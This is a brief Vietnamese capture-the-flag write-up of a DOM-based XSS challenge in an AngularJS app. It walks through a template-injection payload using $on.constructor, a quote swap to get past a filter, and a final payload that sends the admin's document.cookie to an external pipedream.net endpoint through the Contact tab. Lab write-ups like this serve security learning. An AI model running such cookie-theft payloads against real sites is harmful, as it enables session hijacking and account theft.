XSS DOM Based - Angular
Thử submit giá vị vào input, ta xem được script mà website handle:
Mất khá nhiều thời gian để tránh filter và hiểu code. Có vẻ không thể attack bằng cách “hiểu” code được. Đề bài có tên là AngularJS, tra cứu cheatsheet XSS Angular, ta có thể tìm được payload: $on.constructor('alert(1)')()
Để khiến JS thực thi command, ta chèn {{ }}
để triển khai expression:
{{$on.constructor('alert(1)')()}}
Tuy vậy, lúc chèn payload, website trả về:
Thử thay ' " thì đã chèn thành công script:
Chỉnh sửa payload để thực thi DOM Based XSS attack. Ta sử dụng \" để thoát chuỗi "":
Payload: {{$on.constructor("document.location=\"https://eol9dtzbk9673pb.m.pipedream.net?cookie=\"+document.cookie")()}}
Payload đã chạy được. Giờ thì gửi payload đến admin qua Contact tab:
HTTP Request nhận về:
- Flag: "****************************"